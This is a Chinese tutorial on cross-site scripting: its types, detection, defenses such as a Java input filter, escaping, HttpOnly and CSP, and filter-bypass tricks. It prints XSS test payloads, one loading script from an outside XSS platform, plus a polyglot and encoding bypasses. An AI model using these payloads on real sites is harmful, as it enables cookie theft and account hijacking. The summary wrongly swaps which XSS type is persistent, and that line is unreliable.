[點晴永久免費OA]XSS的攻擊原理與防御原理
當前位置：點晴教程→點晴OA辦公管理信息系統
→『 經驗分享&問題答疑 』
xss又稱跨站腳本攻擊，原稱為css（Cross-Site Scripting），因為和層疊樣式表(Cascading Style Sheets)重名，所以又稱為xss(x一般有未知的含義，還有擴展的含義)。 XSS的攻擊原理 xss攻擊涉及到了攻擊者，用戶和web server。主要是利用了網站本身設計的不嚴謹性，攻擊者通過對網頁插入惡意的攻擊腳本，導致當用戶在瀏覽網頁的時候，嵌入其中的攻擊腳本就會被執行，從而達到惡意攻擊用戶的特殊目的。攻擊者通過xss攻擊，可以獲取到用戶的cookie，然后發送給攻擊者想要攻擊的網站，因為跨站了，所以也稱為跨站腳本攻擊。 XSS的分類 根據攻擊的來源，xss攻擊的分類主要分為：反射型xss、存儲型xss和DOM型xss三種。 反射型xss 反射型xss，也叫“非持久型xss”。用戶點擊攻擊鏈接，觸發了惡意腳本，服務器解析后響應，在返回的響應內容中出現攻擊者的xss代碼，被瀏覽器執行。一來一去，xss攻擊腳本被web server反射回來給瀏覽器執行，所以稱為反射型xss。 反射型xss的攻擊步驟： 1、攻擊者構造出特殊的URL，其中包含惡意代碼； 2、用戶打開帶有惡意代碼的URL時，網站服務端將惡意代碼從URL中取出，拼接在HTML中返回給瀏覽器； 3、用戶瀏覽器接收到響應后解析執行，混在其中的惡意代碼也被執行； 4、惡意代碼竊取用戶數據并發送到攻擊者的網站，或者冒充用戶的行為，調用目標網站接口執行攻擊者指定的操作。 特點： 1、攻擊腳本非持久性，沒有保存在web server中，而是直接出現在了URL地址中； 2、反射型xss漏洞常見于通過URL傳遞參數的功能，如網站搜索、跳轉等； 3、由于需要用戶主動打開惡意的URL才能生效，攻擊者往往會結合多種手段誘導用戶點擊。一般通過郵件、社交軟件等方式直接發送攻擊URL，通過用戶的點擊來達到攻擊目的的。 POST的內容也可以觸發反射型xss，只不過其觸發條件比較苛刻，需要構造表單提交頁面，并引導用戶點擊，所以非常少見。 存儲型xss 存儲型xss，也叫“持久型xss”，相比反射型xss，存儲型xss是把惡意腳本保存到了web server中的，這種攻擊具有較強的穩定性和持久性，危害性也更大。這樣每一個訪問特定網頁的用戶，都會受到攻擊。 存儲型xss的攻擊步驟： 1、攻擊者將惡意代碼提交到目標網站的數據庫中； 2、用戶打開目標網站時，網站服務端將惡意代碼從數據庫取出，拼接在HTML中返回給瀏覽器； 3、用戶瀏覽器接收到響應后解析執行，混在其中的惡意代碼也被執行； 4、惡意代碼竊取用戶數據并發送到攻擊者的網站，或者冒充用戶的行為，調用目標網站接口執行攻擊者指定的操作。 特點： 1、攻擊腳本持久性，保存在web server中； 2、這種攻擊常見于帶有用戶保存數據的網站功能，一般通過論壇發帖、商品評論、用戶私信等功能（所有能夠向web server輸入內容的地方），將攻擊腳本存儲到web server中。 有時候反射型xss和存儲型xss是同時使用的，比如：先通過對一個攻擊url進行編碼（來繞過xss filter），提交到web server（存儲在web server中），然后用戶在瀏覽頁面時，如果點擊該url，就會觸發一個xss攻擊。當然用戶點擊該url時，也可能會觸發一個CSRF（Cross site request forgery）攻擊。 DOM型xss DOM（Document Object Model） --based 漏洞是基于文檔對象模型的一種漏洞，通過修改頁面的DOM節點而形成的xss漏洞。 DOM型xss的攻擊步驟： 1、攻擊者構造出特殊的URL，其中包含惡意代碼。 2、用戶打開帶有惡意代碼的URL。 3、用戶瀏覽器接收到響應后解析執行，前端JavaScript取出URL中的惡意代碼并執行。 4、惡意代碼竊取用戶數據并發送到攻擊者的網站，或者冒充用戶的行為，調用目標網站接口執行攻擊者指定的操作。 DOM 型 XSS 跟前兩種 XSS 的區別：DOM 型 XSS 攻擊中，取出和執行惡意代碼由瀏覽器端完成，屬于前端 JavaScript 自身的安全漏洞，而其他兩種 XSS 都屬于服務端的安全漏洞。 特點： 1、攻擊腳本不與服務端交互的，只與客戶端上的js交互，攻擊腳本放到了js中執行，然后顯示出來； 2、DOM型xss也是一種反射型xss。 小結 反射型xss跟存儲型xss的區別是：存儲型xss非持久性，攻擊腳本存在服務器里，反射型xss持久性，攻擊腳本存在URL里。 DOM型xss跟前兩種xss的區別：DOM型xss，是通過修改頁面的DOM節點來形成xss的，取出和執行惡意代碼由瀏覽器端完成，屬于前端JavaScript自身的安全漏洞，而其他兩種xss都屬于服務端的安全漏洞。 類型 存儲區 插入點 存儲型 XSS 后端數據庫 HTML 反射型 XSS URL HTML DOM型 XSS 后端數據庫/前端存儲/URL 前端 JavaScript XSS漏洞的檢測 xss探針 xss探針可檢測出網站有沒有對xss漏洞做最基礎的防御。 在測試xss的位置寫入代碼，查看頁面源碼，看看哪些代碼被過濾或者轉義了。 '''';!--"<XSS>=&{()} 1 xss語句 除了xss探針以外，還可以輸入最簡單的測試語句 <script>alert(/xss/)</script> 1 如果插入的語句原封不動的呈現在了瀏覽器中，那么說明： 代碼沒有被過濾，存在xss； 代碼沒有被執行，因為沒有閉合類似textarea標簽，可以查看下源碼。 常用的xss檢測語句 <script>alert(/xss/);</script> <script>alert(/xss/)// <script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分號，也可以分號+空格（回車一起使用） <img src=1 onmouseover=alert(1)> <a herf=1 onload=alert(1)>nmask</a> <script>window.a==1?1:prompt(a=1)</script> <script>a=prompt;a(1)</script> <img src=0 onerror=confirm(''1'')> <script>alert(1)</script> <script src="http://xsspt.com/vA4t1W?1542101296"></script> <img src=x onerror=alert(1)> <a href="javascript:alert(1)">xss</a> <svg onload=alert(1)> <input type="text" name="test" onclick=alert(1)> <iframe src="javascript:alert(/xss/)">xss</iframe> <iframe srcdoc="<script>alert(1)</script>"> 使用GIthub上的終極xss工具 ?傳送門 jaVasCript:/*-/*`/*\`/*''/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e 1 它能夠檢測到存在于HTML屬性、HTML文字內容、HTML注釋、跳轉鏈接、內聯JavaScript字符串、內聯CSS 樣式表等多種上下文中的XSS漏洞，也能檢測 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write()等DOMXSS漏洞，并且能繞過一些XSS過濾器。 只要在網站的各輸入框中提交這個字符串，或者把它拼接到URL參數上，就可以進行檢測了。 自動化掃描工具 除了手動檢測之外，還可以使用自動掃描工具尋找xss漏洞，例如 Arachni、Mozilla HTTP Observatory、w3af 等。 XSS產生的原因 xss存在的根本原因是，對URL中的參數，對用戶輸入提交給web server的內容，沒有進行充分的過濾。如果我們能夠在web程序中，對用戶提交的URL中的參數，和提交的所有內容，進行充分的過濾，將所有的不合法的參數和輸入內容過濾掉，那么就不會導致在用戶的瀏覽器中執行攻擊者自己定制的腳本。 但是，其實充分而完全的過濾，實際上是無法實現的。因為攻擊者有各種各樣的神奇的，你完全想象不到的方式來繞過服務器端的過濾，最典型的就是對URL和參數進行各種的編碼，比如escape，encodeURI，encodeURIComponent，8進制，10進制，16進制，來繞過xss過濾。那么我們如何來防御xss呢？ XSS攻擊的防御 XSS 攻擊有兩大要素： 1、攻擊者提交惡意代碼。 2、瀏覽器執行惡意代碼。 比較常規的思路是：對輸入和URL參數進行過濾，對輸出進行編碼。也就是對提交的所有內容進行過濾，對url中的參數進行過濾，過濾掉會導致腳本執行的相關內容。然后對動態輸出到頁面的內容進行html編碼，使腳本無法在瀏覽器中執行。雖然對輸入過濾可以被繞過，但是也還是會攔截很大一部分的xss攻擊。 XSS filter 對輸入和URL參數進行過濾（黑白名單），常用的xss filter的實現代碼： public class XssFilter implements Filter { public void init(FilterConfig config) throws ServletException {} public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest)request); chain.doFilter(xssRequest, response); } public void destroy() {} } public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { HttpServletRequest orgRequest = null; public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); orgRequest = request; } /** * 覆蓋getParameter方法，將參數名和參數值都做xss過濾。<br/> * 如果需要獲得原始的值，則通過super.getParameterValues(name)來獲取<br/> * getParameterNames,getParameterValues和getParameterMap也可能需要覆蓋 */ @Override public String getParameter(String name) { String value = super.getParameter(xssEncode(name)); if (value != null) { value = xssEncode(value); } return value; } /** * 覆蓋getHeader方法，將參數名和參數值都做xss過濾。<br/> * 如果需要獲得原始的值，則通過super.getHeaders(name)來獲取<br/> * getHeaderNames 也可能需要覆蓋 */ @Override public String getHeader(String name) { String value = super.getHeader(xssEncode(name)); if (value != null) { value = xssEncode(value); } return value; } /** * 將容易引起xss漏洞的半角字符直接替換成全角字符 * * @param s * @return */ private static String xssEncode(String s) { if (s == null || s.isEmpty()) { return s; } StringBuilder sb = new StringBuilder(s.length() + 16); for (int i = 0; i < s.length(); i++) { char c = s.charAt(i); switch (c) { case ''>'': sb.append(''>'');// 全角大于號 break; case ''<'': sb.append(''<'');// 全角小于號 break; case ''\'''': sb.append(''‘'');// 全角單引號 break; case ''\"'': sb.append(''“'');// 全角雙引號 break; case ''&'': sb.append(''＆'');// 全角 break; case ''\\'': sb.append(''＼'');// 全角斜線 break; case ''#'': sb.append(''＃'');// 全角井號 break; case ''%'': // < 字符的 URL 編碼形式表示的 ASCII 字符（十六進制格式） 是: %3c processUrlEncoder(sb, s, i); break; default: sb.append(c); break; } } return sb.toString(); } public static void processUrlEncoder(StringBuilder sb, String s, int index){ if(s.length() >= index + 2){ if(s.charAt(index+1) == ''3'' && (s.charAt(index+2) == ''c'' || s.charAt(index+2) == ''C'')){ // %3c, %3C sb.append(''<''); return; } if(s.charAt(index+1) == ''6'' && s.charAt(index+2) == ''0''){ // %3c (0x3c=60) sb.append(''<''); return; } if(s.charAt(index+1) == ''3'' && (s.charAt(index+2) == ''e'' || s.charAt(index+2) == ''E'')){ // %3e, %3E sb.append(''>''); return; } if(s.charAt(index+1) == ''6'' && s.charAt(index+2) == ''2''){ // %3e (0x3e=62) sb.append(''>''); return; } } sb.append(s.charAt(index)); } /** * 獲取最原始的request * * @return */ public HttpServletRequest getOrgRequest() { return orgRequest; } /** * 獲取最原始的request的靜態方法 * * @return */ public static HttpServletRequest getOrgRequest(HttpServletRequest req) { if (req instanceof XssHttpServletRequestWrapper) { return ((XssHttpServletRequestWrapper) req).getOrgRequest(); } return req; } } 然后在web.xml中配置該filter： <filter> <filter-name>xssFilter</filter-name> <filter-class>com.xxxxxx.filter.XssFilter</filter-class> </filter> <filter-mapping> <filter-name>xssFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> 主要的思路就是將容易導致XSS攻擊的邊角字符替換成全角字符。<和>是腳本執行和各種html標簽需要的，比如 <script>，&和 #以及 %在對URL編碼試圖繞過xss filter時，會出現。我們說對輸入的過濾分為白名單和黑名單。上面的xss filter就是一種黑名單的過濾，黑名單就是列出不能出現的對象的清單，一旦出現就進行處理。還有一種白名單的過濾，白名單就是列出可被接受的內容，比如規定所有的輸入只能是大小寫的26個英文字母和10個數字，還有-和_，所有其他的輸入都是非法的，會被拋棄掉。很顯然如此嚴格的白名單是可以100%攔截所有的xss攻擊的，但是現實情況一般是不能進行如此嚴格的白名單過濾的。 對于輸入，處理使用xss filter之外，對于每一個輸入，在客戶端和服務器端還要進行各種驗證，驗證是否合法字符，長度是否合法，格式是否正確。在客戶端和服務端都要進行驗證，因為客戶端的驗證很容易被繞過。其實這種驗證也分為了黑名單和白名單。黑名單的驗證就是不能出現某些字符，白名單的驗證就是只能出現某些字符。盡量使用白名單，雖然白名單無法完全杜絕xss，但是使用不當的話可能會帶來很高的誤報率。 存儲型和反射型XSS攻擊的防御 存儲型和反射型xss都是在服務端取出惡意代碼后，插入到響應HTML里的，攻擊者刻意編寫的“數據”被內嵌到“代碼”中，被瀏覽器所執行。 預防這兩種漏洞，有兩種常見做法： 改成純前端渲染，把代碼和數據分隔開。 純前端渲染的過程： 1、瀏覽器先加載一個靜態HTML，此HTML中不包含任何跟業務相關的數據。 2、然后瀏覽器執行HTML中的JavaScript。 3、JavaScript通過Ajax加載業務數據，調用DOM API更新到頁面上。 在純前端渲染中，我們會明確的告訴瀏覽器：下面要設置的內容是文本.innerText，還是屬性.setAttribute，還是樣式.style等等。瀏覽器不會被輕易的被欺騙，執行預期外的代碼了。 但純前端渲染還需注意避免DOM型xss漏洞，例如 onload 事件和 href 中的 javascript:xxx 等。在很多內部、管理系統中，采用純前端渲染是非常合適的。但對于性能要求高，或有 SEO 需求的頁面，我們仍然要面對拼接HTML的問題。 對HTML做充分轉義。 如果拼接HTML是必要的，就需要采用合適的轉義庫，對HTML模板各處插入點進行充分的轉義。 對于HTML轉義通常只有一個規則，就是把 & < > " '' / 這幾個字符轉義掉，確實能起到一定的xss防護作用，但并不完善。要完善xss防護措施，要使用更完善更細致的轉義策略。例如Java工程里，常用的轉義庫為 org.owasp.encoder。 XSS 安全漏洞 簡單轉義是否有防護作用 HTML 標簽文字內容 有 HTML 屬性值 有 CSS 內聯樣式 無 內聯 JavaScript 無 內聯 JSON 無 跳轉鏈接 無 在輸出數據之前對潛在的威脅的字符進行編碼、轉義對xss攻擊能起到一定的防御作用。 對所有要動態輸出到頁面的內容，通通進行相關的編碼和轉義。當然轉義是按照其輸出的上下文環境來決定如何轉義的。 作為body文本輸出，html標簽的屬性輸出，比如： <span>${username}</span> <p><c:out value="${username}"></c:out></p> <input type="text" value="${username}" /> 此時的轉義規則如下： <轉成 < >轉成 > & 轉成 & "轉成 " ''轉成 ' \轉成\\ /轉成 \/ ;轉成 ；(全角;) javascript事件 <input type="button" οnclick=''go_to_url("${myUrl}");'' /> URL屬性 如果 <script>、<style>、<imt>等標簽的 src 和 href 屬性值為動態內容，那么要確保這些URL沒有執行惡意連接。確保：href和 src的值必須以 http://開頭，白名單方式；不能有10進制和16進制編碼字符。 DOM型XSS攻擊的防御 DOM型xss攻擊，實際上就是網站前端JavaScript代碼本身不夠嚴謹，把不可信的數據當作代碼執行了。 在使用 .innerHTML、.outerHTML、document.write() 時要特別小心，不要把不可信的數據作為HTML插到頁面上，而應盡量使用 .textContent、.setAttribute() 等。 如果用Vue/React技術棧，并且不使用 v-html/dangerouslySetInnerHTML 功能，就在前端render階段避免 innerHTML、outerHTML 的xss隱患。 DOM中的內聯事件監聽器，如 location、onclick、onerror、onload、onmouseover 等，<a> 標簽的 href 屬性，JavaScript的 eval()、setTimeout()、setInterval()等，都能把字符串作為代碼運行。如果不可信的數據拼接到字符串中傳遞給這些API，很容易產生安全隱患，請務必避免。 <!-- 內聯事件監聽器中包含惡意代碼 --> < img onclick = "UNTRUSTED" onerror = "UNTRUSTED" src = "data:image/png," > <!-- 鏈接內包含惡意代碼 --> < a href = "UNTRUSTED" > 1 </ a > < script > // setTimeout()/setInterval() 中調用惡意代碼 setTimeout( "UNTRUSTED" ) setInterval( "UNTRUSTED" ) // location 調用惡意代碼 location.href = ''UNTRUSTED'' // eval() 中調用惡意代碼 eval ( "UNTRUSTED" ) </ script > 其他xss攻擊的防御 HttpOnly xss一般利用js腳本讀取用戶瀏覽器中的Cookie，而如果在服務器端對 Cookie 設置了HttpOnly 屬性，那么js腳本將無法讀取到cookie，但是瀏覽器還是能夠正常使用cookie，這樣能有效的防止xss的攻擊。 一般的Cookie都是從document對象中獲得的，現在瀏覽器在設置 Cookie的時候一般都接受一個叫做HttpOnly的參數，跟domain等其他參數一樣，一旦這個HttpOnly被設置，你在瀏覽器的 document對象中就看不到Cookie了，而瀏覽器在瀏覽的時候不受任何影響，因為Cookie會被放在瀏覽器頭中發送出去(包括ajax的時候)，應用程序也一般不會在js里操作這些敏感Cookie的，對于一些敏感的Cookie我們采用HttpOnly，對于一些需要在應用程序中用js操作的cookie我們就不予設置，這樣就保障了Cookie信息的安全也保證了應用。 Content Security Policy（內容安全策略） 嚴格的CSP在XSS的防范中可以起到以下的作用： 禁止加載外域代碼，防止復雜的攻擊邏輯。 禁止外域提交，網站被攻擊后，用戶的數據不會泄露到外域。 禁止內聯腳本執行（規則較嚴格，目前發現 GitHub 使用）。 禁止未授權的腳本執行（新特性，Google Map 移動版在使用）。 合理使用上報可以及時發現 XSS，利于盡快修復問題。 輸入內容長度控制 對于不受信任的輸入，都應該限定一個合理的長度。雖然無法完全防止xss發生，但可以增加xss攻擊的難度。 小結 XSS攻擊防御方法：XSS filter；純前端渲染，數據分離；HTML轉義；設置HttpOnly屬性；設置CSP；限制輸入內容的長度 XSS繞過的技巧 有xss防御便會有xss繞過防御姿勢，這是攻與防不斷博弈的表現與成果。 大小寫繞過 <Script>alert(1)</Script> 雙寫繞 <scrscriptipt>alert(1)</scrscriptipt> 替換繞過 過濾 alert 用prompt，confirm，top[''alert''](1)代替繞過過濾() 用``代替繞過過濾空格 用%0a（換行符）,%0d（回車符），/**/代替繞過小寫轉大寫情況下 字符ſ大寫后為S（ſ不等于s） %00截斷繞過 <a href=javascr%00ipt:alert(1)>xss</a> 編碼繞過 實體編碼 javascript:alert(1) 十六進制 javascript:alert(1) 十進制 unicode編碼 javascrip\u0074:alert(1) url編碼 javascrip%74:alert(1) fromCharCode方法繞過 String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59) eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)) javascript偽協議繞過 無法閉合雙引號的情況下，就無法使用onclick等事件，只能偽協議繞過，或者調用外部js 換行繞過正則匹配 onmousedown =alert(1) 注釋符 // 單行注釋 <!-- --!> 注釋多行內容 <!-- --> 注釋多行內容 <-- --> 注釋多行內容 <-- --！> 注釋多行內容 --> 單行注釋后面內容 /* */ 多行注釋 有時還可以利用瀏覽器的容錯性，不需要注釋 閉合標簽空格繞過 </style ><script>alert(1)</script> @符號繞過url限制 https://[email protected]/j.js 其實訪問的是@后面的內容 ")逃逸函數后接分號 ");alert(1)// \繞過轉義限制 \") alert(1) // XSS練習平臺 以下是幾個XSS攻擊小游戲，開發者在網站上故意留下了一些常見的 XSS 漏洞。玩家在網頁上提交相應的輸入，完成 XSS 攻擊即可通關。 alert(1) to win prompt(1) to win XSS game XSS Challenges 參考資料 前端安全系列（一）：如何防止XSS攻擊？ 淺談跨站腳本攻擊與防御 面試問題如何預防xss攻擊 xss攻擊原理與解決方法 XSS攻擊及預防 OWASP Top 10 - 2017 ———————————————— 版權聲明：本文為CSDN博主「小曉曉曉林」的原創文章，遵循 CC 4.0 BY-SA 版權協議，轉載請附上原文出處鏈接及本聲明。
該文章在 2020/4/8 11:13:59 編輯過 |
關鍵字查詢
相關文章
正在查詢... 
|
400 186 1886
